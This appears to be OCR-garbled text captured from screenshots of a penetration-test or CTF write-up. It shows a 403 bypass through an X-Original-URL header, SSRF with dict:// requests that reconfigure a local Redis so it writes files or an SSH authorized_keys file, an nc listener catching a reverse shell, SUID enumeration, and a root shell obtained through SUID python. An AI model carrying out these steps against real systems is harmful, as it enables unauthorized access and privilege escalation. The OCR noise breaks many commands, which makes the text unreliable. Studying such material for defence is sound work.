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1. GET /xxx HTTP/1.1 3403

Host: test.com
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GET /xxx HTTP/1.1 a200
Host: test.com

X-0riginal-URL: /xxx

2. GET /xxx HTTP/1.1 3403

Host: test.com
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Accept-Language Content
2h-CN, zh: q=0. 8. h-T¥: q=0. 7. 2h-HK :q=0. 5. en-US :q=0. 3. en: ¢=0. 2
Accept-Encoding. gzip.
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https://github.com/firebroo/sec_tools
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dict://127.0.0.1:6379/setXtest

2. IRERFIEZ;
dict://127.0.0.1:6379/config:set:dir:/tmp/

3. IRERFXHA;
dict://127.0.0.1:6379/config:set:dbfilename:1.png
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dict://127.0.0.1:6379/save
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config set dir /root/.ssh
config set dbfilename authorized_keys

set test "xxx

save
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Content-Type: appli
Content-Length: 483
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POST /dopenser. php HTTP/1.1 4 | HITP/1.1 200 OK
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indows NT 10,0; Vin64; x64; v:83.0) Gecko/20100101
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Connection: close

Upgrade-Insecure-Requests: 1
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[root@VM-4-15-centos ~1# nc -lvvp 443
: Version 7.50 ( https://nmap.org/ncat )
: Listening on :::443

! Listening on 0.0.0.0:443
: Connection from
: Connection from
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[www@VM-0-17-centos ~1s whoami

[www@VM-B-17-centos ~]$ uname -a
uname -a
Linux VM-8-17-centos 3.10.0-1062.18.1.e17.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

B find / —perm —u=s —type f 2>/dev/null E&E s
B,

www@VM-0-17-centos ~]$ -perm -u=s
find / -perm -u=s -type f 2>/dev/
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/pkexec

/usr/bin/mount

/usr/bin/passwd

/usr/bin/umount

/usr/bin/newgrp

/usr/bin/chsh

/usr/bin/crontab

/usr/bin/chage
vusr/bin/python2.7
/usr/bin/chtn
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lib/polkit-1/polkit-agent-helper-1
in/pkexec
in/mount
in/passw

in/chage
in/python2.7

dbus -1/dbus -daemon-launch-helper
abrt-actien-install-debuginfo-to-abrt-cache

thon -c¢ 'import os; os.execl("/bin/sh","sh", "-p")’
xecl{"/bin/sh®, "sh" "-p")"
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